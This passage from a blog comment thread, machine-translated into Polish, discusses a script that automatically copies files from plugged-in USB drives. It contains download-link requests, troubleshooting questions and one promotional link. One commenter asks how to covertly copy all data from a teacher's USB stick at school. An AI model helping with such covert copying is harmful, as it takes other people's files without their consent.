    Skrypt można pobrać stąd. Myślę, że to to samo

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   John powiedział

    No więc….

    Z mojego skromnego punktu widzenia uważam, że to świetny artykuł i dobrze, jeśli są ludzie, którzy mówią, że jesteś oszustem, to myślę, że jest to zgodne z celem, w jakim używasz programu.
    Osobiście bardziej podobała mi się znajomość języka programowania dla Linuksa, ponieważ pracowałem tylko w Javie, dziękuję kolego, że wzbudziłeś moje zainteresowanie, aby dowiedzieć się więcej o języku dla Linuksa.

    Dziękuję ci.

  40.   Hekorat powiedział

    Witajcie przyjaciele, ponieważ znalazłem inny sposób na użycie tego skryptu, to wykonanie kopii zapasowej, trochę z wami porozmawiam Mam dwa urządzenia, kamerę i dysk twardy, chcę, aby zamiast nagrywać pliki, zapisywać pliki lokalne je na zewnętrznym dysku twardym z kamery na dysk twardy, ale wyświetla mi się błąd z informacją „za dużo argumentów”, czy możesz mi pomóc

  41.   LUIS GERARDO POLANCO WERA powiedział

    Działa tylko z urządzeniami z systemem operacyjnym Linux?

  42.   Probando powiedział

    Niech ktoś go podniesie!

  43.   gazelena powiedział

    Witam, nie mam linuxa iw mojej szkole używają Windowsa, użyłem aplikacji do przechwytywania usb i kopiuję tylko 5 plików z pamięci nauczyciela, podejrzewam, że usb ma zabezpieczenie, bo to samo zdarzyło się dwa razy, będzie trochę inny sposób na usunięcie pełnej informacji z tego usb?

  44.   zaraki powiedział

    Idź, jeśli powiesz, że kod będzie prosty, ponieważ wydaje się bardzo interesujące, aby zobaczyć, czy metody działają, aby sprawdzić, czy USB jest podłączone lub rozmiar partycji. Szkoda, że ​​usunęli skrypt mega.nz, czy możesz go przesłać ponownie?

    Pozdrowienia i świetna robota, prosta ale funkcjonalna nawet do zautomatyzowania kopiowania z USB !!!

  45.   Przerwy powiedział

    Dobrze!
    Właśnie dostałem się do twojego wpisu na blogu i jestem naprawdę zainteresowany. Dzieje się tak, gdy klikniesz plik .zip, który przekierowuje Cię do mega, oznacza to, że plik nie jest już dostępny.
    Zastanawiałem się, czy możesz wysłać mi te pliki, które mają zostać pobrane.
    Bardzo dziękuję i pozdrawiam!

  46.   Alfredo Pereiry powiedział

    Technologia ma zwyczaj kurczenia się w miarę upływu lat. . I stało się to w niewiarygodnym stopniu w przypadku dysków półprzewodnikowych (SSD). Teraz możesz mieć je w tym samym rozmiarze, co najszybsze dyski flash USB.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a powiedział

    Czy możesz wysłać mi plik lub przesłać go ponownie? Okazuje się, że nie można go pobrać